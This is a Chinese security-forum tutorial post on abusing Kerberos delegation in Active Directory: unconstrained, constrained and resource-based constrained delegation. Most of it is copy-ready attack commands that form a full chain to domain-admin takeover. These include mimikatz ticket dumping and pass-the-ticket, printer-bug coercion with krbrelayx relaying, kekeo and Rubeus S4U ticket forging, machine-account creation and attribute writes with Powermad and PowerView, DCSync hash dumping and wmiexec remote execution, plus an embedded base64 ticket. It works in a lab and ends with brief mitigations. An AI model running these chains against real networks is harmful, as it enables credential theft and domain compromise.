安全矩阵

 找回密码
 立即注册
搜索
查看: 3344|回复: 1

约束委派

[复制链接]

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
发表于 2022-4-29 00:02:44 | 显示全部楼层 |阅读模式

约束委派




前言
委派: 域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派
委派的方式:
非约束委派、约束委派和基于资源的约束委派
在域内只有主机账号和服务账号才有委派属性。域控制器主机账户默认开启非约束性委派;
主机账号:活动目录中的computers组内的计算机,也被称为机器账号(一个普通域用户默认最多可以创建十个主机账号) ;
服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL。域用户账户通过注册SPN也能成为服务账号
注意:被委派的用户不能被设置为不能委派属性

非约束性委派
1.1 原理
利用原理

机器A(域控)访问具有非约束委派权限的机器B的服务,会把当前认证用户(域管用户)的的TGT放在ST票据中,一起发送给机器B,机器B会把TGT存储在lsass进程中以备下次重用。从而机器B就能使用这个TGT模拟认证用户(域管用户)访问服务。
利用场景
攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管理员的TGT,从而模拟域管用户
1.2 查找非约束委派的主机或者服务账户
1.利用powersploit中的powerview
  1. # 导入模块
  2. Import-Module .\PowerView.ps1
  3. # 查询非约束委派的主机
  4. Get-NetComputer -Unconstrained -Domain qaq.com
  5. # 查询非约束委派的服务账号
  6. cGet-NetUser -Unconstrained -Domain baidu.com | select name
复制代码

2.利用ADFind
  1. # 查找域中配置非约束委派的用户
  2. AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
  3. # 查找域中配置非约束委派的主机
  4. AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
复制代码

3.利用ldapsearch.exe
  1. # 查找域中配置非约束委派的用户
  2. ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
  3. # 查找域中配置非约束委派的主机
  4. ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
复制代码

1.3 利用
设置非约束委派属性

将test5主机账户设置为非约束委派
设置完成后,打开adsiedit.msc adsi编辑器查看机器属性,可以看到:
当被设置为非约束委派的时候,它的userAccountControl属性中会包含TRUSTED_FOR_DELEGATION字段
1.3.1 非约束委派模拟域管权限
靶机环境
  • 域名:qaq.com
  • 网段:192.168.10/24
  • 域控:test(192.168.10.250)
  • 域内主机:test5-win12(192.168.10.12)

1.域控使用kerberos协议认证方式访问test5主机的cifs服务
由于test5主机被设置为非约束委派,所以client(域控)会把当前登录域管账户的TGT放在ST中一起发给server端 test5主机,test5机器会把TGT存储在lsass进程中
2.在test5主机上,用mimikatz导出lsass进程中的票据
  1. privilege::debug
  2. # 导出票据
  3. sekurlsa::tickets /export
复制代码

随后将域管的票据注入内存中
  1. kerberos::ptt [0;11eeaa]-2-0-60810000-Administrator@krbtgt-HIRO.COM.kirbi
复制代码

3.获取域管权限后,dcsync
1.3.2 非约束委派+spooler打印机组合利用
因为非束委派常规利用比较鸡肋,必须要域管主动与配置了委派的机器建立连接,所以有国外的大佬研究出了非约束委派+spooler打印机服务 强制域控与指定的主机进行连接
利用原理:利用Windows打印系统远程协议 (MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用
MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了 Spooler 服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证。
printer bug:任何经过身份验证的域成员都可以连接到远程服务器的打印服务(spoolsv.exe),并请求对一个新的打印作业进行更新,令其将该通知发送给指定目标。之后它会将立即测试该连接,即向指定目标进行身份验证(攻击者可以选择通过Kerberos或NTLM进行验证)。微软表示这个打印机bug是系统设计特点,无需修复。由于打印机是以system权限运行的,所以我们访问打印机rpc,迫使打印机服务(域控)向目标发起kerberos认证请求,从而拿到域控机器用户的凭证。
注意:在server 2008全版本以及server 2012中即使启用了Printer Spool服务,也依然无法访问到spoolss命名管道,因为它不在RPC中暴露该服务。因此,实战中需要server 2012 R2域控才可以利用Printer Spool服务进行中继。回连的用户是目标机器用户的凭证
域控默认启用print spooler打印机服务:
使用SpoolSample进行利用
((SpoolSample需要.net4框架4.0支持,因此实战中使用printerbug脚本利用打印机服务触发回连较为常用)
使用本地管理员身份运行Rubeus来监听事件id为4624的事件,然后时间设置为1秒,可以截取到域控的TGT。
  1. # 每隔一秒监听一次来自test$用户(域控机器用户)的登陆(需要本地管理员权限)
  2. Rubeus.exe monitor /interval:1 /filteruser:test$
复制代码

然后通过SpoolSample.exe向域控发起请求
https://github.com/leechristensen/SpoolSample
  1. # SpoolSample.exe 域控主机 目标主机
  2. # 注意要使用机器主机名
  3. SpoolSample.exe DC MSSQL
复制代码

(ps:本地由于环境因素没有复现成功,这里记录一下其他大佬的截图过程,方便学习:)
Rubeus监听到来自域控机器账户的TGT
(ps:这里也可使用mimikatz dump lsass进程的TGT)
复制监听到的TGT的base64
  1. doIE+jCCBPagAwIBBaEDAgEWooIEETCCBA1hggQJMIIEBaADAgEFoQ8bDVJFRFRFQU0uTE9DQUyiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDVJFRFRFQU0uTE9DQUyjggPHMIIDw6ADAgEXoQMCAQKiggO1BIIDsTRd7H8nT8n2+xhFjdYxWkeGwWptrnyKLgxn746x3g+68Wa92RV8mkudwvNSHPEbhA05tXVs62KwV/TjlhSHcjW9U8KfzgGdJpcpF8JrbW+X0ON4J0SyuwtcubsOiulJ6yiyH4riFlMTcl6TXMdbWCnOwIriPfOnQP/jtkcZWx2J27Y2HZ8cCAL00aV14S+ajcA65Howkx1/0ts+YQVZhFpc6l9fFQfGp9R87CjPNpWXEJV0iUGSELptTfXTxNSr/oF3+G7U0KrNl+9NMjloU6tFy/gnmc1PbDnUNXYgdKssUvxUpBzfVxq7leBkX1chx91kPcRrqAZC+tUWSoyULTkCPB8OcYY2DwHy4ElaQbo3y1mmq2DtHTx/ulGvwfKbpQrDgVSKZjE7VGdQSD7eAUJB7Pbu+lHsPc30DLVIbxJEQlC7WRKi1tNc6mhQJtAEGQFUUdYSQNtvNpiphZEfNGUoPaTz/9QspD9jjyVv+Dm7lqup5ojDSAxxc0Gzg61c4KmW3pJlmVQaN4f9Of+LeuqR3tR5EWxPqmkTgv1eVwdGryiF0cNC5Q7SAxrr6mgL2pL2HpMMILwhLSWlk0YIt6qdlyhRRdBzgopSzN5yB3IkSK4RXAF4CFYbximorzkIa9jG34ge9FlSVRkjUxNXb5KnCTDhLymT3F3tJeZoGig4Q+O9pfuUutsuxzSsy8u6xuuXkvg//LuXvDDOuVbOuKHR05tPfc1f9nKqs/YclidoYN3Nf/51pgF4n0ZXieHu5hgZYhb//qKh1X51ezI0MQ1gwkmssF9724s0U1QcLIS4ts3XxPCaDfuOeOLJUoMyqt0BdvYdVn6uGl0b2kCYwtk8ouIfuBbGeSYyGcSo+//tyTNJL57TCy42wRkFecRDdsBrRP8Je46fHBDPp7dhfOwP29Yt4nHFEtCKmjNeYLKQmQnKJ2i4AJKkOyi3QYPcf8Q+uzgU8c5V4p8kj+YBtvUMKQx6Dy1+MTfFz3tY1pQ7KB2pHziop/mm1f6ZPXNtoqcrtlCL+YGDEtgAPxSqaf3eAUhXar39qpUV1ey2Y7Pv/NZg8NevdUUG83LVXIiHHbwGTPBQgccrg9qC0cGHEHs0TNy7cLKc/8s86ZCzvBffmp/Q77QKZIH6jwvxopDjnO0s5jE9F7DVqBK51AWtPuSufXbOTqNMih90jxDJrb9cOZsIqadS7K6fJK232uUHCqSBP4H7QORFRPsCV6YFR13uzFutz+zN59+Y76NUrmhkqqOB1DCB0aADAgEAooHJBIHGfYHDMIHAoIG9MIG6MIG3oBswGaADAgEXoRIEEFo/U0fj+283YVzNrDWB7b+hDxsNUkVEVEVBTS5MT0NBTKIQMA6gAwIBAaEHMAUbA0RDJKMHAwUAYKEAAKURGA8yMDIxMTAwMzEyNDAzMlqmERgPMjAyMTEwMDMyMjQwMjlapxEYDzIwMjExMDEwMTI0MDI5WqgPGw1SRURURUFNLkxPQ0FMqSIwIKADAgECoRkwFxsGa3JidGd0Gw1SRURURUFNLkxPQ0FM
复制代码

再Rubeus导入base64的票据直接注入进内存
  1. Rubeus.exe ptt /ticket:base64
复制代码

使用printerbug进行利用(远程利用)
环境配置

靶场环境
  • 域名:qaq.com
  • 网段:192.168.10/24
  • 域控:test(192.168.10.250)
  • kali:192.168.10.25
  • 域用户(非约束委派属性且拥有spn权限):admin/Aa123456

注意:普通域用户无约束委派属性,所以要先将域用户admin添加spn成为服务账户:
  1. setspn.exe -U -A VNC/comp.qaq.com admin
复制代码

配置域用户拥有添加spn属性的权限。因为后面利用的时候需要创建指向回连主机的spn,使域控能中继到指定主机:
(ps:一般非约束委派域用户,都拥有写spn属性的权限)
打开adsi编辑器adsiedit.msc:
利用
https://github.com/dirkjanm/krbrelayx
1.添加Spn。目的是创建指向回连主机的spn
  1. # ldap://192.168.10.250:为域控ip
  2. python3 addspn.py -u "qaq.com\admin" -p "Aa123456" HOST/whatthefuck.qaq.com ldap://192.168.10.250
复制代码

2.添加dns记录,将whatthefuck.qaq.com域名指向回连主机IP:
  1. # -d:解析的回连主机ip 域控IP
  2. python3 dnstool.py -u "qaq.com\admin" -p "Aa123456" -r whatthefuck.qaq.com -a add -d 192.168.10.25 192.168.10.250
复制代码

成功后,查看dns服务器,可以看到已经添加成功。执行成功后需要等3分钟左右:
3.监听端口,开启中继:
  1. # -s:域名+域用户
  2. python3 krbrelayx.py -p "Aa123456." -s TEST.COMadmin
复制代码

也可以在94行添加c.setListeningPort(12138),修改监听的端口:
4.执行printerbug脚本,利用域控上的打印机服务强制域控连接指定主机:
(ps:也可以中继到windows主机,然后使用mimikatzdump lsass进程中缓存的票据)
  1. # 192.168.60.138为域控ip
  2. # whatthefuck.domain1.com为设置的域名
  3. # 也可以使用hash认证,-hashes
  4. python3 printerbug.py qaq.com/admin:"Aa123456"@192.168.60.138 whatthefuck.domain1.com
复制代码

随后kali 会收到域控的kerberos认证请求,会生成域管用户的TGT票据
5.利用域管用户的tgt dcsync:
在/etc/hosts文件中添加如下两行记录用于解析域控制器的域名:
# 域控ip 域控制器域名
  1. 192.168.164.147 ad.test.com
  2. 192.168.164.147 test.com
复制代码

使用票据导出hash
  1. # 设置KRB5CCNAME变量为生成的域管用户票据
  2. export KRB5CCNAME=xxx.ccache
  3. # 发起kerberos认证,进行dcsync导出hash
  4. python3 /root/impacket/examples/secretsdump.py -k ad.test.com -just-dc-user administrator
复制代码

使用dementor进行利用
对于Linux,可以使用NetNTLMtoSilverTicket项目中的dementor.py脚本利用打印机漏洞触发回连
  1. python dementor.py -d domain -u username -p password 回连ip 目标ip
复制代码

约束性委派
2.1 原理
由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U。中S4U支持两个子协议:Service for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy)。
S4U2self:使用用户的TGT向KDC请求可以转发的Kerberos服务票据(ST1),用于发起S4U2proxy请求。服务也可以调用S4U2Self来要求身份认证服务(kdc)为任意用户生成访问该服务的st1,用于响应其他方式认证的用户请求(非kerberos)的授权需求。例如:网站A服务器可以向KDC请求一张用户B访问A服务的ST1,A服务用这张ST1去发起S4U2proxy请求
S4U2proxy:使用ST1票据请求KDC生成访问其他服务的ST2
大致流程:
1.user访问serviceA,向DC发起kerberos认证,域控返回user的TGT和ST1票据,user使用ST1票据对serviceA进行访问;
2.如果配置了serviceA到serviceB的约束委派,则serviceA能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC;
3.域控返回serviceA一个用来访问serviceB的ST2票据,这样serviceA就能使用获得的ST2服务票据访问服务B;
利用场景
从攻击者的角度来看,如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派。则攻击者可以先使用S4u2seflt申请域管用户(administrator)访问A服务的ST1,然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控。
2.2 筛选约束性委派账号
ldapsearch
  1. # 查找域中配置约束委派服务用户
  2. ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
  3. # 查找域中配置约束委派的主机
  4. ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
复制代码

ADFind
  1. # 查找域中配置约束委派服务用户:
  2. AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
  3. # 查找域中配置约束委派的主机
  4. AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
复制代码

2.3 利用
环境配置

设置域内主机对域控基于cifs服务的资源委派
当被配置了约束委派的账户的userAccountControl属性有个FLAG位
TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo 属性还会指定对哪个SPN进行委派

靶场环境
  • 域名:qaq.com
  • 域控:test(192.168.10.250)
  • 域成员机器:test1-2008(192.168.10.31),配置对域控基于cifs服务的资源委派

利用1.请求账户(约束委派账户)的TGT,目的是使用S4U2Self协议申请域管用户访问该机器的st1:
(PS:如果已拥有TGT可跳过这一步)
获取2008机器账户的密码或者HASH:
使用kekeo请求kdc生成账户的TGT
https://github.com/gentilkiwi/kekeo
  1. # 拥有明文密码
  2. tgt::ask /user:win7 /domain:hiro.com /password:123456QWE.
  3. # 拥有hash
  4. tgt::ask /user:win7 /domain:hiro.com /NTLM:xxxx
复制代码

2. 然后通过TGT伪造s4u请求,以域管理员administrator身份请求访问域控 cifs服务的ST2:
这里包含二步:
>1.使用约束委派账户的TGT,以使用S4U2Self协议请求kdc生成域管用户访问自身服务(test1-2008)的可转发的票据st1;
>2.test1-2008服务利用st1票据使用S4U2Proxy协议,以域管理员用户的名义请求一张访问域控的CIFS服务的ST2票据
  1. # 使用kekeo发起s4u请求
  2. tgs::s4u /tgt:TGT_qiyou@QIYOU.COM_krbtgt~qiyou.com@QIYOU.COM.kirbi /user:Administrator@qiyou.com /service:cifs/dm08.qiyou.com
复制代码

会生成S4U2Self获取到的ST1和S4U2Proxy获取到的访问dc CIFS服务的st2
3.注入票据
  1. # 使用mimikatz 注入st2票据
  2. kerberos::ptt TGS_Administrator@redteam.local@REDTEAM.LOCAL_cifs~DC.redteam.local@REDTEAM.LOCAL.kirbi
复制代码


基于资源的约束委派
3.1 原理
基于资源的约束性委派 (RBCD:Resource Based Constrained Delegation):为了使⽤户/资源更加独⽴,微软在Windows Server 2012中引⼊了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置,⽽把设置属性的权限赋予给了机器⾃身--基于资源的约束性委派允许资源配置受信任的帐户委派给他们。
也就是说,设置机器b的主机属性(msDS-AllowedToActOnBehalfOfOtherIdentity字段)允许服务A委派到服务B,后者服务A就能通过S4U2Self请求生成服务B访问服务A的ST1,然后通过S4U2Proxy请求利用st1生成访问服务B的st2。不同与约束委派,需要域管权限才能设置约束属性,基于资源性约束委派只需要拥有主机属性的修改权限就行
基于资源的约束委派只能在运行 Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器上配置,但资源的约束委派可以跨域森林和跨域
攻击场景:
获得的用户对主机A的机器属性具有写权限,那么可以配置主机A的机器属性从而获取主机A的权限。一般计算机加入域时,加入域的域用户对该域机器账户拥有写权限。在大型内网域环境中,将机器加入到域环境中一般不会用域管权限,而是用一个专门加域的域用户,那么当我们拿下该加入域环境的域用户账号密码时,就可以把通过该域用户加入到域里的所有机器都拿下.
3.2 利用
靶场环境
  • 域名:qaq.org
  • 域控:test5-2012(192.168.11.250)
  • 域成员机器:test4-win7(192.168.11.5)
  • 域用户(拥有写test4-win7主机属性的权限):test/Aa123456
  • 域成员机器:test7-win7(192.168.11.6)
  • 新创建的主机账户:test$/Aa123456

通过配置test4-win7的机器属性,将test4-win7资源性约束委派给test$账户。后者test$主机服务就能通过s4u请求申请test用户访问test4-win7主机服务的st2
查询对域内主机机器属性具有写入权限的域用户
即:查询域内主机是由那个域用户加入域的
1.查询域主机账户的mS-DS-CreatorSID 属性中的sid值,这个sid值代表这台机器是由那个域用户加入域环境:
(Ps:如果mS-DS-CreatorSID属性为空则代表这台机器上由域管用户加入域环境)
  1. # 使用AdFind查询属性
  2. AdFind.exe -h 10.0.0.12 -u test -up admin!@# 45 -b "DC=qaq,DC=org" -f "objectClass=computer" mS-DS-CreatorSID
  3. AdFind.exe -b "DC=qaq,DC=org" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
复制代码

2.查询这个sid对应哪个域用户:
  1. # 使用AdFind查询属性
  2. AdFind.exe -b "DC=qaq,DC=org" -f "(&(objectsid=S-1-5-21-3105699010-1460039537-418241315-1118))" objectclass cn dn
  3. # 使用sid2user查询属性
  4. sid2user.exe \\10.0.0.12 5 21 3258976832 1609833424 2410015844 110
复制代码

(ps:注意查询出来的是账户全名)
另外在获得一个域用户账户的时候,同样可以利用域账户的SID查询域内那些机器是由该账户加入域的:
  1. AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-3105699010-1460039537-418241315-1118))" cn sAMAccountType objectCategory
复制代码

设置资源性委派属性
1.使用域用户创建机器用户,默认一个域用户可以创建10个机器用户名:
因为需要设置目标机器的msDS-AllowedToActOnBehalfOfOtherIdentity 的值为创建的机器用户的sid值,后面利用创建的机器用户使用s4u申请访问目标机器的st2。即:设置目标机器资源性约束委派给创建的机器用户
利用 powermad 添加机器账户
https://github.com/Kevin-Robertson/Powermad
  1. # 设置允许运行脚本
  2. set-executionpolicy -executionpolicy unrestricted
  3. Import-Module .\Powermad.ps1
  4. # 添加名为test的机器用户,密码Aa123456
  5. New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "Aa123456" -AsPlainText -Force)
复制代码

使用powerview查看域机器账户的sid:
即:账户的object Sid属性值
  1. Import-Module .\powerview.ps1
  2. Get-DomainComputer -Identity win10system
复制代码

2.修改目标主机win7的机器账户msDS-AllowedToActOnBehalfOfOtherIdentity属性值为创建的机器账户test$的sid值,即:配置test$账号到win7的资源性委派:
使用powerview修改机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性
  1. $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3258976832-1609833424-2410015844-1116)"
  2. $SDBytes = New-Object byte[] ($SD.BinaryLength)
  3. $SD.GetBinaryForm($SDBytes, 0)
  4. Get-DomainComputer test4-win7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
复制代码

可查看msDS-AllowedToActOnBehalfOfOtherIdentity属性验证是否修改成功
  1. Get-DomainComputer test4-win7 msds-allowedtoactonbehalfofotheridentity
复制代码

清除 msds-allowedtoactonbehalfofotheridentity 属性的值,可用如下命令:
  1. Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
复制代码

发起s4u请求
1.利用rubues使用明文密码生成对应的hash:
  1. Rubeus.exe hash /user:xx /password:Aa123456 /domain:qaq.org
复制代码

2.使用rubues发起s4u请求:
这里包含二步:
1.利用创建的机器账户,以使用S4U2Self协议请求kdc生成目标账户(test)访问自身服务(创建的机器账户服务)的可转发的票据st1;
2.随后机器账户服务利用st1票据使用S4U2Proxy协议,以test用户的名义请求一张访问test4-win7的CIFS服务的ST2票据
(ps:如果没有配置资源性的约束委派,第二步S4U2Proxy协议转发St1票据的时候kdc会拒绝)
  1. Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:cifs/DESKTOP-P34E60A /ptt
复制代码

另外,也可以使用impacket的getST.py发起s4u请求生成票据st2,会在当前目录下生成 test.ccache 文件:
  1. python3 getST.py -dc-ip 192.168.11.250 -spn cifs/test4-win7.qaq.org -impersonate test qaq.org/test$:Aa123456
复制代码

之后使用 mimikatz 导入票据
也可以通过设置KRB5CCNAME环境变量,配合impacket 中的pse脚本直接进行利用:
  1. # 设置环境变量
  2. set KRB5CCNAME=test.ccache
  3. python3 wmiexec.py -no-pass -k test@test4-win7.qaq.org -dc-ip 192.168.11.250
复制代码

缓解措施
1.高权限账号设置禁止委派属性:
2.微软推出了protected users组,组内用户不允许被委派,适用于Windows Server 2016,Windows Server 2012 R2、 Windows Server 2012:



回复

使用道具 举报

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
 楼主| 发表于 2022-4-29 00:03:02 | 显示全部楼层
mark 好文章
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 09:48 , Processed in 0.015409 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表